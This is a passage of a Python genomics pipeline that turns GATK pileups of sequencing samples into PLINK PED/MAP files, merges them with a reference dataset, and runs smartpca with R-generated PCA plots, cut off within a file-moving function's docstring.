Collecting PILEUP data from sample: \" + sample_id)\n                if i + '.bai' in os.listdir(cwd):\n                    if bamlength > minNumReadsPileup:\n                        print(\n                            '\\tgatk \\n\\tPileup \\n\\t-R ' + filePath + ' \\n\\t-L ' + intervalListFile + ' \\n\\t-I ' + i + ' \\n\\t-O ' + sample_id + '.pileupgatk.' + dataset + '.txt')\n                        os.system(\n                            'gatk Pileup -R ' + filePath + ' -L ' + intervalListFile + ' -I ' + i + ' -O ' + sample_id + '.pileupgatk.' + dataset + '.txt')\n                        fout.write(\"\\n\\t> Collecting PILEUP data from sample: \" + sample_id + time.strftime(\n                            \"\\n\\t%H:%M:%S %Z \") + '\\tgatk \\n\\t\\t\\tPileup \\n\\t\\t\\t-R ' + filePath + ' \\n\\t\\t\\t-L ' + intervalListFile + ' \\n\\t\\t\\t-I ' + i + ' \\n\\t\\t\\t-O ' + sample_id + '.pileupgatk.' + dataset + '.txt\\n')\n                    else:\n                        fout.write(\"\\n\\t> Collecting PILEUP data from sample: \" + sample_id)\n                        print(\n                            \"\\t\\t> WARNING: Input file has less than 15000 reads. \\n\\t\\t> Expected number of SNPs might not be informative. Change 'minNumReadsPileup' parameter if you want to continue.\\n\\t\\t> Skipping PCA analysis for sample \" + sample_id)\n                        fout.write(\n                            \"\\n\\t\\t> WARNING: Input file has less than 15000 reads. \\n\\t\\t> Expected number of SNPs might not be informative. Change 'minNumReadsPileup' parameter if you want to continue.\\n\\t\\t> Skipping PCA analysis for sample \" + sample_id + \"\\n\")\n                        pass\n                else:\n                    print(\n                        \"\\t> ERROR: Index file (*.bai) for bam file '\" + i + \"' not found. Aborting pileup creation...\")\n                    fout.write(\n                        \"\\t> ERROR: Index file (*.bai) for bam file '\" + i + \"' not found. Aborting pileup creation...\")\n                    pass\n    elif makepileup == False:\n        pass\n    elif makepileup != True and makepileup != False:\n        print(\"\\t\\t> ERROR: 'makepileup' argument has invalid input. Must be 'True' or 'False'.\")\n\n    ## PED creation from PILEUP GATK\n    if makeped == True:\n        dataset = datasetFolder.rsplit(\"/\", 1)\n        dataset = dataset[1]\n        for i in os.listdir(cwd):\n            if '.rmdup.bam' == i[-10:]:\n                #sample_id, sep, rest = i.partition('.q30')\n                sample_id, rest = re.split('\\.q..', i)\n                found_file = 0\n                print(\"\\t> Creating PED file from sample: \" + sample_id)\n                fout.write(\"\\n\\t> Creating PED file from sample: \" + sample_id)\n                for i in os.listdir(cwd):\n                    file_wanted = sample_id + '.pileupgatk.' + dataset + \".txt\"\n                    if file_wanted == i:\n                        # if sample_id+'.pileupgatk.' in i and dataset in i:\n                        found_file = 1\n                        sample_id, sep, rest = i.partition('.pileup')\n                        pedout = open(sample_id + '.ped', 'w')\n                        pileupin = open(i, 'r')\n                        snpcount = sum(1 for _ in pileupin)\n                        print(\"\\tSource pileup file:\", i)\n                        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tSource pileup file:\" + i)\n                        print(\"\\tDetected SNPs:\", snpcount)\n                        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tDetected SNPs:\" + str(snpcount))\n                        if pedfamily == False:  ## Writing all samples as MALES by default, as no-sex allows for some complications to occur downstream\n                            #                            print(\"\\tFamily ID, Sample ID, Paternal and Maternal IDs, Sex, Affection: \"+sample_id+' '+sample_id+' 0 0 1 1 ') ## 1 is MALE, 2 is FEMALE, 0 is UNKNOWN\n                            print(\n                                \"\\tFamily ID, Sample ID, Paternal and Maternal IDs, Sex, Affection: \" + sample_id + ' ' + sample_id + ' 0 0 1 1 ')\n                            fout.write(time.strftime(\n                                \"\\n\\t%H:%M:%S %Z \") + \"\\tFamily ID, Sample ID, Paternal and Maternal IDs, Sex, Affection: \" + sample_id + ' ' + sample_id + ' 0 0 1 1 \\n')\n                            pedout.write(sample_id + ' ' + sample_id + ' 0 0 1 1 ')\n                        else:\n                            print(\n                                \"\\tFamily ID, Sample ID, Paternal and Maternal IDs, Sex, Affection: \" + pedfamily + ' ' + sample_id + ' 0 0 1 1 ')\n                            pedout.write(pedfamily + ' ' + sample_id + ' 0 0 1 1 ')\n                        pileupin = open(i, 'r')\n                        counter = 1\n                        countbads = 0\n                        for line in pileupin:\n                            if counter <= snpcount:\n                                line = line.rstrip()\n                                chro, coord, refb, rbase, qual = line.split(' ')\n                                counter += 1\n                                ## Identify if there is more than one allele for this position\n                                if len(rbase) > 1:\n                                    listBases = list(rbase)\n                                    listQual = list(qual)\n                                    listPhred = []\n                                    ## Only get alleles with phred quality > 30\n                                    for i in listQual:\n                                        phred = ord(i) - 33\n                                        listPhred.append(phred)\n                                    listOfGoodBases = []\n                                    counterPhred = 1\n                                    while counterPhred <= len(listPhred):\n                                        for ph in listPhred:\n                                            if ph >= 30:\n                                                listOfGoodBases.append(listBases[counterPhred - 1])\n                                                counterPhred += 1\n                                            else:\n                                                counterPhred += 1\n                                                pass\n                                    if len(listOfGoodBases) != 0:\n                                        chosenbase = random.choice(listOfGoodBases)\n                                        pedout.write(chosenbase + ' ' + chosenbase + ' ')\n                                    else:\n                                        # input(\"B - This position did not have any good quality base\")\n                                        countbads += 1\n                                        pedout.write('0 0 ')\n                                else:\n                                    rbasePhred = ord(qual) - 33\n                                    if rbasePhred >= 30:\n                                        pedout.write(rbase + ' ' + rbase + ' ')\n                                    else:\n                                        # input(\"C - This position has only 1 read and it is not good\")\n                                        pedout.write('0 0 ')\n                                        countbads += 1\n                            else:  ## When reaching the last line, pass\n                                pass\n                        pedout.close()\n                        print(\"\\tSNPs skipped due to low quality: \" + str(countbads) + \"\\n\")\n                        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tSNPs skipped due to low quality: \" + str(\n                            countbads) + \"\\n\")\n                if found_file != 1:\n                    print(\n                        \"\\t\\t> ERROR: Pileup file for sample '\" + sample_id + \"' not found. Aborting PED file creation...\\n\")\n                    fout.write(\n                        \"\\n\\t\\t> ERROR: Pileup file for sample '\" + sample_id + \"' not found. Aborting PED file creation...\\n\")\n    elif makeped == False:\n        pass\n    elif makeped != True and makeped != False:\n        print(\"\\t> ERROR: 'makeped' argument has invalid input. Must be 'True' or 'False'.\")\n\n\n## Create MAP file\n    if makemap == True:\n        listOfSamples = []\n        for i in os.listdir(cwd):\n            if \".ped\" in i:\n                sample_id, sep, rest = i.partition('.ped')\n                for i in os.listdir(cwd):\n                    file_wanted_pile = sample_id + '.pileupgatk.' + dataset + \".txt\"\n                    if file_wanted_pile == i:\n                        listOfSamples.append(sample_id)\n\n        ##Creating MAP files with R (20X faster than dictionary method)\n        print(\"\\t> Creating MAP files\")\n        fout.write(\"\\n\\n\\t> Creating MAP files\")\n        script = open(\"create_maps.R\", 'w')\n        script.write('setwd(\"')\n        script.write(cwd)\n        script.write('\")\\nsampleVec = c(')\n        counter = 1\n        for samp in listOfSamples:\n            if counter == 1:\n                script.write('\"')\n                script.write(samp)\n                script.write('\"')\n            else:\n                script.write(',\"')\n                script.write(samp)\n                script.write('\"')\n            counter += 1\n        script.write(')\\n\\nloadOriginalMap = read.table(\"')\n        script.write(mapFileDatasetPath)\n        script.write('\", stringsAsFactors = F)')\n        script.write('\\n\\nfor (i in sampleVec) {\\n\\tloadPileUp = read.table(paste0(i, \".pileupgatk.')\n        script.write(dataset)\n        script.write('.txt\"), stringsAsFactors = F, fill = T, quote = \"\")\\n\\t')\n        script.write('\\n\\n\\tloadPileUp$V6 = paste0(gsub(\"[a-z]\", \"\", loadPileUp$V1), \"-\", loadPileUp$V2)\\n\\tif(length(grep(\"X\",loadPileUp$V6)) >0){\\n\\t\\tloadPileUp$V6 = gsub(\"X\",\"23\",loadPileUp$V6)\\n\\t}') \n        script.write('\\n\\tif(length(grep(\"Y\",loadPileUp$V6)) >0){\\n\\t\\tloadPileUp$V6 = gsub(\"Y\",\"24\",loadPileUp$V6)\\n\\t}\\n\\tloadOriginalMap$V7= paste0(loadOriginalMap$V1, \"-\", loadOriginalMap$V4)')\n        script.write('\\n\\n\\tsaveMap = loadOriginalMap[which(loadOriginalMap$V7 %in% loadPileUp$V6), ]\\n\\tsaveMap$V5 = NULL\\n\\tsaveMap$V6 = NULL\\n\\tsaveMap$V7 = NULL')\n        script.write('\\n\\n\\twrite.table(saveMap, paste0(i, \".map\"), quote = F, sep = \"\\t\", row.names = F, col.names = F)\\n}')\n        script.close()\n        os.system(\"R CMD BATCH create_maps.R\")\n        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tR CMD BATCH create_maps.R\")\n        os.remove(cwd+\"/create_maps.R\")\n        os.remove(cwd + \"/create_maps.Rout\")\n\n    elif makemap == False:\n        pass\n    elif makemap != True and makemap != False:\n        print(\"\\t> ERROR: 'makemap' argument has invalid input. Must be 'True' or 'False'.\")\n        fout.write(\"\\n\\t> ERROR: 'makemap' argument has invalid input. Must be 'True' or 'False'.\")\n\n        ## MAP IS FINE, FINISH WITH FOUT.WRITE AND TIME STAMPS AND MAYBE PROGRESS BAR\n\n    ## Convert to binary\n    if conv2bin == True:\n        if \"bin4pca\" in os.listdir(cwd):\n            pass\n        else:\n            newdir = cwd + '/' + \"bin4pca\"\n            os.mkdir(newdir)\n        for i in os.listdir(cwd):\n            if \".ped\" == i[-4:]:\n                sample_id, sep, rest = i.partition('.ped')\n                print(\"\\t> Converting plink data to binary format for \" + sample_id)\n                fout.write(\"\\n\\n\\t> Converting plink data to binary format for \" + sample_id)\n                print(\"plink --file \" + sample_id + \" --out \" + sample_id + \" --make-bed --allow-no-sex\")\n                os.system(\"plink --file \" + sample_id + \" --out \" + sample_id + \" --make-bed --allow-no-sex\")\n                fout.write(time.strftime(\n                    \"\\n\\t%H:%M:%S %Z \") + \"\\tplink --file \" + sample_id + \" --out \" + sample_id + \" --make-bed --allow-no-sex\")\n                ## Move new binary files to \"bin4pca\" folder\n                for item in os.listdir(cwd):\n                    if sample_id + \".bed\" in item:\n                        os.system('mv ' + item + ' ' + cwd + '/' + \"bin4pca\")\n                for item in os.listdir(cwd):\n                    if sample_id + \".bim\" in item:\n                        os.system('mv ' + item + ' ' + cwd + '/' + \"bin4pca\")\n                for item in os.listdir(cwd):\n                    if sample_id + \".fam\" in item:\n                        os.system('mv ' + item + ' ' + cwd + '/' + \"bin4pca\")\n                        # for item in os.listdir(cwd):\n                        #     if sample_id+\".log\" in item:\n                        #         os.system('mv '+item+' '+cwd+'/'+\"bin4pca\")\n    elif conv2bin == False:\n        pass\n\n    ## Merge dataset and our sample\n    if mergeIt == True:\n        ## Do reduce dataset's SNP list to match the sample's\n        if reduceDSsnp == True:\n            cwdBIN = cwd + \"/bin4pca\"\n            os.chdir(cwdBIN)\n            datasetName = mapFile.strip(\".bim\")\n            datasetPath = mapFileDatasetPath.strip(\".bim\")\n            for i in os.listdir(cwdBIN):\n                if \".bed\" == i[-4:] and datasetName not in i and \"excluded\" not in i and \"mergedex\" not in i:  ## SAMPLE NAME CANNOT INCLUDE \"EXCLUDED\"\n                    sample_id, sep, rest = i.partition('.bed')\n                    print(\"\\t> Creating SNP list from sample \" + sample_id)\n                    fout.write(\"\\n\\n\\t> Creating SNP list from sample \" + sample_id)\n\n                    script = open(\"reduceSNPlist.R\", 'w')\n                    script.write(\"## Create list of SNPs from BIM file\\n\")\n                    script.write('setwd(\"')\n                    script.write(cwdBIN)\n                    script.write('\")\\nwdfiles=list.files(getwd())')\n                    script.write('\\n\\nfor(file in wdfiles) {\\n\\tif(grepl(\".bim$\",file)==TRUE & grepl(\"excluded\",file)==FALSE & grepl(\"reduced\",file)==FALSE & grepl(\"mergedex\",file)==FALSE) {')\n                    script.write('\\n\\t\\t#print(file)\\n\\t\\tsample_id=strsplit(file,\".bim\")\\n\\t\\t#print(sample_id)\\n\\t\\tfile_read=read.table(as.character(file), as.is=1)')\n                    script.write('\\n\\t\\tsnpList=file_read$V2\\n\\t\\twrite.table(snpList, paste(sample_id,\"_snpList.txt\",sep=\"\"), quote = FALSE,col.names = FALSE, row.names = FALSE)\\n\\t}\\n}')\n                    script.close()\n                    os.system(\"R CMD BATCH reduceSNPlist.R\")\n                    fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tR CMD BATCH reduceSNPlist.R\")\n\n                    print(\"\\t> Reducing dataset's SNPs to match the sample's\")\n                    print(\"plink --bfile \" + datasetPath + \" --extract \" + sample_id + \"_snpList.txt --make-bed --out \" + datasetName + \"_\" + sample_id + \"_reduced --allow-no-sex\")  ## dataPP_D1_reduced.bed/bim/fam\n                    os.system(\"plink --bfile \" + datasetPath + \" --extract \" + sample_id + \"_snpList.txt --make-bed --out \" + datasetName + \"_\" + sample_id + \"_reduced --allow-no-sex\")\n                    fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tplink --bfile \" + datasetPath + \" --extract \" + sample_id + \"_snpList.txt --make-bed --out \" + datasetName + \"_\" + sample_id + \"_reduced --allow-no-sex\")\n\n                    print(\"\\t\\t\\tplink --bfile \" + datasetName + \"_\" + sample_id + \"_reduced --bmerge \" + sample_id + \" --make-bed --out \" + sample_id + \" --allow-no-sex\")  ## D1-merge.fam + D1-merge.missnp\n                    os.system(\"plink --bfile \" + datasetName + \"_\" + sample_id + \"_reduced --bmerge \" + sample_id + \" --make-bed --out \" + sample_id + \" --allow-no-sex\")\n                    fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tplink --bfile \" + datasetName + \"_\" + sample_id + \"_reduced --bmerge \" + sample_id + \" --make-bed --out \" + sample_id + \" --allow-no-sex\")\n\n                    if sample_id + \"-merge.missnp\" in os.listdir(cwdBIN):\n                        print(\"\\t > Found missing SNPsfile, excluding...\")\n                        print(\"\\t\\t\\t\\tplink --bfile \" + sample_id + \" --exclude \" + sample_id + \"-merge.missnp --make-bed --out \" + sample_id + \"excluded --allow-no-sex\")  ## D1excluded.bed/bim/fam\n                        os.system(\"plink --bfile \" + sample_id + \" --exclude \" + sample_id + \"-merge.missnp --make-bed --out \" + sample_id + \"excluded --allow-no-sex\")\n                        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tplink --bfile \" + sample_id + \" --exclude \" + sample_id + \"-merge.missnp --make-bed --out \" + sample_id + \"excluded --allow-no-sex\")\n\n                        print(\"\\t\\t\\t\\tplink --bfile \" + datasetName + \"_\" + sample_id + \"_reduced --exclude \" + sample_id + \"-merge.missnp --make-bed --out \" + datasetName + \"red_\" + sample_id + \"excluded --allow-no-sex\")  ## dataPPred_D1excluded.bed/bim/fam\n                        os.system(\"plink --bfile \" + datasetName + \"_\" + sample_id + \"_reduced --exclude \" + sample_id + \"-merge.missnp --make-bed --out \" + datasetName + \"red_\" + sample_id + \"excluded --allow-no-sex\")\n                        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tplink --bfile \" + datasetName + \"_\" + sample_id + \"_reduced --exclude \" + sample_id + \"-merge.missnp --make-bed --out \" + datasetName + \"red_\" + sample_id + \"excluded --allow-no-sex\")\n\n                        print(\"\\t\\t\\t\\tplink --bfile \" + datasetName + \"red_\" + sample_id + \"excluded --bmerge \" + sample_id + \"excluded\" + \" --make-bed --out \" + sample_id + \"mergedex --allow-no-sex\")  ## D1mergedex.bed/bim/fam\n                        os.system(\"plink --bfile \" + datasetName + \"red_\" + sample_id + \"excluded --bmerge \" + sample_id + \"excluded\" + \" --make-bed --out \" + sample_id + \"mergedex --allow-no-sex\")\n                        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tplink --bfile \" + datasetName + \"red_\" + sample_id + \"excluded --bmerge \" + sample_id + \"excluded\" + \" --make-bed --out \" + sample_id + \"mergedex --allow-no-sex\")\n\n                        ## Apply missing genotype rate SNP exclusion step\n                        if genoPlink != 1:\n                            print(\"\\t\\t\\t\\tplink --bfile \" + sample_id + \"mergedex --geno \" + str(genoPlink) + \" --make-bed --out \" + sample_id + \"mergedex --allow-no-sex\")  ## D1mergedex.bed/bim/fam\n                            os.system(\"plink --bfile \" + sample_id + \"mergedex --geno \" + str(genoPlink) + \" --make-bed --out \" + sample_id + \"mergedex --allow-no-sex\")\n                            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tplink --bfile \" + sample_id + \"mergedex --geno \" + str(genoPlink) + \" --make-bed --out \" + sample_id + \"mergedex --allow-no-sex\")\n\n                        for i in os.listdir(cwdBIN):\n                            if sample_id + \"mergedex.bed\" == i:\n                                sample_id, sep, rest = i.partition('.bed')\n                                print(sample_id)\n                                convPed2Eig = open(sample_id + \"_CONV_PED_2_EIG\", 'w')\n                                convPed2Eig.write(\"genotypename:\\t\" + sample_id + \".bed\\nsnpname:\\t\" + sample_id + \".bim\\nindivname:\\t\" + sample_id + \".fam\\noutputformat:\\tEIGENSTRAT\\ngenotypeoutname:\\t\" + sample_id + \".eigenstratgeno\\nsnpoutname:\\t\" + sample_id + \".snp\\nindivoutname:\\t\" + sample_id + \".ind\\nfamilyname:\\tYES\")\n                                convPed2Eig.close()\n                                print(\"convertf -p \" + sample_id + \"_CONV_PED_2_EIG\")\n                                os.system(\"convertf -p \" + sample_id + \"_CONV_PED_2_EIG\")\n                                fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tconvertf -p \" + sample_id + \"_CONV_PED_2_EIG\")\n\n                    else:  ## Make sure files in this case are outputed as XXX-merge.evec\n                        print(sample_id)\n                        sample_id_complete = sample_id + \"-merge\"\n                        print(sample_id_complete)\n                        os.rename(str(sample_id + \".fam\"), str(sample_id + \"-merge.fam\"))\n                        os.rename(str(sample_id + \".bim\"), str(sample_id + \"-merge.bim\"))\n                        os.rename(str(sample_id + \".bed\"), str(sample_id + \"-merge.bed\"))\n                        convPed2Eig = open(sample_id_complete + \"_CONV_PED_2_EIG\", 'w')\n                        convPed2Eig.write(\"genotypename:\\t\" + sample_id_complete + \".bed\\nsnpname:\\t\" + sample_id_complete + \".bim\\nindivname:\\t\" + sample_id_complete + \".fam\\noutputformat:\\tEIGENSTRAT\\ngenotypeoutname:\\t\" + sample_id_complete + \".eigenstratgeno\\nsnpoutname:\\t\" + sample_id_complete + \".snp\\nindivoutname:\\t\" + sample_id_complete + \".ind\\nfamilyname:\\tYES\")\n                        convPed2Eig.close()\n                        print(\"convertf -p \" + sample_id_complete + \"-merge_CONV_PED_2_EIG\")\n                        os.system(\"convertf -p \" + sample_id + \"-merge_CONV_PED_2_EIG\")\n                        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tconvertf -p \" + sample_id + \"-merge_CONV_PED_2_EIG\")\n\n                        # Now go to R and convert the mergedex.IND to be the same as the original IND file in terms of columns and populations\n\n            print(\"\\t> Correcting format of *.ind files\")\n            fout.write(\"\\n\\n\\t> Correcting format of *.ind files\")\n            script = open(\"pca_indfile_correction.R\", 'w')\n            script.write('setwd(\"')\n            script.write(cwdBIN)\n            script.write('\")\\nwdfiles=list.files(getwd())\\n\\nfor(i in wdfiles) {\\n\\tif(grepl(\".ind$\",i)==TRUE) {')\n            script.write('\\n\\t\\tname=strsplit(i, \".ind\")\\n\\t\\tmerged_ind=read.table(i, as.is=1, stringsAsFactors = FALSE, sep=\":\")\\n\\t\\tmerged_ind_temp1=data.frame(as.character(merged_ind[,2]))')\n            script.write('\\n\\t\\twrite.table(merged_ind_temp1, \"merged_ind_temp1.txt\", sep=\" \",quote=FALSE,col.names=FALSE,row.names=FALSE)\\n\\t\\tmerged_ind_temp2=read.table(\"merged_ind_temp1.txt\", sep=\" \")')\n            script.write('\\n\\t\\tmerged_ind_temp2$V3={}\\n\\t\\tmerged_ind_temp2$V4={}\\n\\t\\tmerged_ind_temp2$V5={}\\n\\t\\tmerged_ind_temp2$V6=merged_ind$V1\\n\\t\\tfinal_name=as.character(i)\\n\\t\\twrite.table(merged_ind_temp2, final_name, sep=\" \",quote=FALSE,col.names=FALSE,row.names=FALSE)')\n            script.write('\\n\\t}\\n}')\n            script.close()\n            os.system(\"R CMD BATCH pca_indfile_correction.R\")\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tR CMD BATCH pca_indfile_correction.R\")\n\n    elif mergeIt == False:\n        pass\n\n    ## Create PCA parameter files to be used by smartpca\n    if PCAparamFile == True:\n        cwdBIN = cwd + \"/bin4pca\"\n        os.chdir(cwdBIN)\n        listForPCA = []\n        print(\"\\t> Creating PCA parameter files to be used by smartpca\")\n        fout.write(\"\\n\\n\\t> Creating PCA parameter files to be used by smartpca\")\n        for i in os.listdir(cwdBIN):\n            if \".eigenstratgeno\" in i:\n                listForPCA.append(i)\n                sample_id, sep, rest = i.partition('.eigenstratgeno')\n                createPCA = open(sample_id + \"_CREATE_PCA\", 'w')\n                if seqPlatform == \"MiSeq\":\n                    createPCA.write(\n                        \"genotypename:\\t\" + i + \"\\nsnpname:\\t\" + sample_id + \".snp\\nindivname:\\t\" + sample_id + \".ind\\nevecoutname:\\t\" + sample_id + \".evec\\nevaloutname:\\t\" + sample_id + \".eval\")\n                    if popList != None:\n                        createPCA.write(\"\\npoplistname:\\t\" + popList)\n                    createPCA.write(\"\\nnumoutevec:\\t4\\nnumoutlieriter:\\t0\\nkillr2:\\tYES\\nr2thresh:\\t0.2\")\n\n                    ## Not sure about this step here. It might not be needed to project when reducing all SNPs\n                    ## Latest info says it should always be projected, even for low coverage 1-2X or 340K SNP capture\n                    if reduceDSsnp == True:\n                        createPCA.write(\"\\nlsqproject:\\tYES\")\n                    if reduceDSsnp == False:\n                        createPCA.write(\"\\nlsqproject:\\tYES\")\n                    createPCA.close()\n                    print(\"smartpca -p \" + sample_id + \"_CREATE_PCA\")\n                    os.system(\"smartpca -p \" + sample_id + \"_CREATE_PCA\")\n                    fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tsmartpca -p \" + sample_id + \"_CREATE_PCA\")\n                elif seqPlatform == \"NextSeq\":\n                    createPCA.write(\n                        \"genotypename:\\t\" + i + \"\\nsnpname:\\t\" + sample_id + \".snp\\nindivname:\\t\" + sample_id + \".ind\\nevecoutname:\\t\" + sample_id + \".evec\\nevaloutname:\\t\" + sample_id + \".eval\")\n                    if popList != None:\n                        createPCA.write(\"\\npoplistname:\\t\" + popList)\n                    createPCA.write(\"\\nnumoutevec:\\t4\\nnumoutlieriter:\\t0\\nr2thresh:\\t0.2\")\n\n                    ## Not sure about this step here. It might not be needed to project when reducing all SNPs\n                    ## Latest info says it should always be projected, even for low coverage 1-2X or 340K SNP capture\n                    if reduceDSsnp == True:\n                        createPCA.write(\"\\nlsqproject:\\tYES\")\n                    if reduceDSsnp == False:\n                        createPCA.write(\"\\nlsqproject:\\tYES\")\n                    createPCA.close()\n                    print(\"smartpca -p \" + sample_id + \"_CREATE_PCA\")\n                    os.system(\"smartpca -p \" + sample_id + \"_CREATE_PCA\")\n                    fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tsmartpca -p \" + sample_id + \"_CREATE_PCA\")\n\n    if plot != False:  ## Might give UnboundLocalError if PCAparamfile=False\n        print(\"\\t> Plotting low-res PCA\")\n        fout.write(\"\\n\\n\\t> Plotting low-res PCA\")\n        script = open(\"PCA_plot.R\", 'w')\n        script.write('setwd(\"')\n        script.write(cwdBIN)\n        script.write('\")\\nwdfiles=list.files(getwd()')\n        script.write(')\\n\\npop_db=read.csv(\"')\n        script.write(plot)\n        script.write('\", sep=\",\", header=FALSE, stringsAsFactors=FALSE)\\n')\n        script.write('for(file in wdfiles) {\\n\\tif(grepl(\".evec$\",file)==TRUE) {\\n\\t\\tsample_id=strsplit(file,\".evec\")\\n\\t\\tfile_read=read.table(as.character(file), as.is=1,row.names = NULL)\\n\\t\\tif(grepl(\"mergedex\",file)==TRUE) {')\n        script.write('\\n\\t\\t\\ttrue_id=strsplit(file,\"mergedex.evec\")\\n\\t\\t\\tsnp_count=read.table(paste(as.character(true_id),\"mergedex.snp\", sep=\"\"))\\n\\t\\t\\tsnp_count=length(snp_count$V1)\\n\\t\\t}')\n        script.write('\\n\\t\\tif(grepl(\"-merge\",file)==TRUE) {\\n\\t\\t\\ttrue_id=strsplit(file,\"-merge.evec\")\\n\\t\\t\\tsnp_count=read.table(paste(as.character(true_id),\"-merge.snp\", sep=\"\"))\\n\\t\\t\\tsnp_count=length(snp_count$V1)\\n\\t\\t}')\n        script.write('\\n\\t\\tpdf(file=paste(getwd(),\"/\",as.character(true_id),\".pdf\",sep=\"\"),pointsize=30,width=40,height=30)')\n        script.write('\\n\\t\\tplot(1,type=\"n\",ylab=\"PC2\",xlab=\"PC1\",ylim=c(min(file_read[,3]),max(file_read[,3])),xlim=c(min(file_read[,2]),max(file_read[,2])))')\n        script.write('\\n\\t\\trows=as.numeric(length(file_read$V1))')\n        script.write('\\n\\t\\tit=0')\n        script.write('\\n\\t\\tfor(row in rows) {')\n        script.write('\\n\\t\\t\\twhile(it<length(file_read$V1)) {\\n\\t\\t\\t\\tit=it+1\\n\\t\\t\\t\\tif(file_read[it,1] %in% pop_db$V2==TRUE) {')\n        script.write('\\n\\t\\t\\t\\t\\tpos_in_pop_db=which(pop_db$V2==file_read[it,1])\\n\\t\\t\\t\\t\\ttext(file_read[it,2], file_read[it,3], pop_db$V10[pos_in_pop_db], col=rgb(120,120,120,100,maxColorValue=255),cex=0.7,font=2)')\n        script.write('\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tpoints(file_read[which(file_read$V1==true_id),2],file_read[which(file_read$V1==true_id),3], bg=\"firebrick2\", cex=1.5,pch = 21)')\n        script.write('\\n\\t\\tlegend(\"bottomleft\", legend=c(paste0(true_id,\" : \",snp_count,\" SNPs\")), text.col=\"black\", pch=21,pt.bg=\"firebrick2\", y.intersp = 0.9,pt.cex = 2,bty=\"n\")\\n\\t\\tdev.off()\\n\\t}\\n}')\n        script.close()\n        os.system(\"R CMD BATCH PCA_plot.R\")\n        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\tR CMD BATCH PCA_plot.R\")\n        os.remove(cwdBIN+\"/PCA_plot.R\")\n        os.remove(cwdBIN + \"/PCA_plot.Rout\")\n\n\n        # TODO\n        ## In final PCA report explain what kind of PCA was plotted according to the cmd line arguments of the function\n\n        ## PED\n        # Family ID\n        # Sample ID\n        # Paternal ID\n        # Maternal ID\n        # Sex (1=male; 2=female; other=unknown)\n        # Affection (0=unknown; 1=unaffected; 2=affected)\n        # Genotypes (space or tab separated, 2 for each marker. 0=missing)\n\n        # FamilyID  SampleID   PaternalID   MaternalID  Sex    Affection    Genotypes\n        # FAM1      NA06985         0           0        1          1           A     T     T     T     G     G     C     C     A     T     T     T     G     G     C     C\n        # FAM1      NA06991         0           0        1          1           C     T     T     T     G     G     C     C     C     T     T     T     G     G     C     C\n\n        ## MAP\n        # 21     rs11511647     0     26765\n        # X     rs3883674     0     32380\n\n\n\n        ## SAMTOOLS PILEUP FORMAT DESCRIPTION ##\n        #    chr2           41784              A            1               ,$                   A\n        # chromosome name, coordinate, reference base, read bases, read qualities and alignment mapping qualities\n        #   col1            col2             col3       col4            col5                col6\n\n        ## col5 Read qualities INFO ##\n        #  .  - match on reference base on + strand\n        #  ,  - match on reference base on - strand\n        #  >/<  - reference skip\n        #  ACTGN  - mismatch on + strand\n        #  actgn  - mismatch on - strand\n        #  \\+[0-9]+[ACGTNacgtn]+  - insertion of length [0-9] between this ref position and next\n        #  -[0-9]+[ACGTNacgtn]+  - deletion from ref. Bases presented as * in following lines\n        #  ^  - start of read. ASCII of the character following ?^? minus 33 gives the mapping quality.\n        #  $  - end of read\n\n        ## col6 Alihnment mapping qualities INFO ##\n        #  A  - character in ASCII format with corresponding phred quality (ASCII-33)\n\n\n        ## GATK PILEUP FORMAT DESCRIPTION ##\n        #    chr2           41784              A                AAAAATA                                    F\n        # chromosome name, coordinate, reference base, read bases (7 reads in example above), and base quality\n        #   col1            col2             col3           col4                                   col5\n\n        ## col5 Alihnment mapping qualities INFO ##\n\n\n#  A  - character in ASCII format with corresponding phred quality (ASCII-33)\n\n\ndef moveFilesBatch(byExtension, bySample=False, copy=False, singleFolder=False, asRegex=False):\n    \"\"\"\n    Moves files into new folder(s). Works by extension of the files, and/or by sample identifier at the start of the files. Please note that input is as regular expressions and include special characters.\n    NO REGEX AFTER ALL - TRUE! DO NOT USE REGEX FOR INPUTTING FILE EXTENSIONS OR SAMPLE NAMES\n\n    ############### WRONG SECTION\n    For information on how to use special characters, please check https://docs.python.org/3.5/library/re.html\n\n    Note on Special Characters:\n        All input must be in the form of regular expressions, accepting special characters. This allows for more accurate tasks, as in the two examples below.\n\n        # Using the special character '.':\n        The dot in a regular expression matches any character, except a newline '\\n'.\n        >>> moveFilesBatch(byExtension = False, bySample = \"foo_L00.\", copy = True, singleFolder=False)\n        This will retrieve all files named \"foo_L00.\", with any character matching the dot, as in \"foo_L001\" and \"foo_L002\".\n\n        # Using the special character '\\':\n        The backslash escapes special characters (allowing to match characters like '*', '.', and so forth).\n        >>> moveFilesBatch(byExtension = \"^foo\\.bar\\.tar\", bySample = False, copy = True, singleFolder=False)\n        This will retrieve all files starting with \"foo.bar.tar\". If backslash is not used, all files starting with \"fooXbarXtar\" would be retrieved, as '.' would be considered the special character explained above.\n\n    Note on Multiple Inputs:\n        To input more than one extension/sample please use separator '/', as below:\n        >>> moveFilesBatch(byExtension = \"\\.foo\", bySample = False, copy = True, singleFolder=False)\n        >>> moveFilesBatch(byExtension = \"\\.foo/\\.bar\", bySample = False, copy = True, singleFolder=False)\n    ################\n\n    :param byExtension:\n    (boolean-False)\n    (string)    Boolean or string with desired extension to match at the end of the files. True boolean is not accepted\n\n    :param bySample:\n    (boolean-False)\n    (string)    Boolean or string with 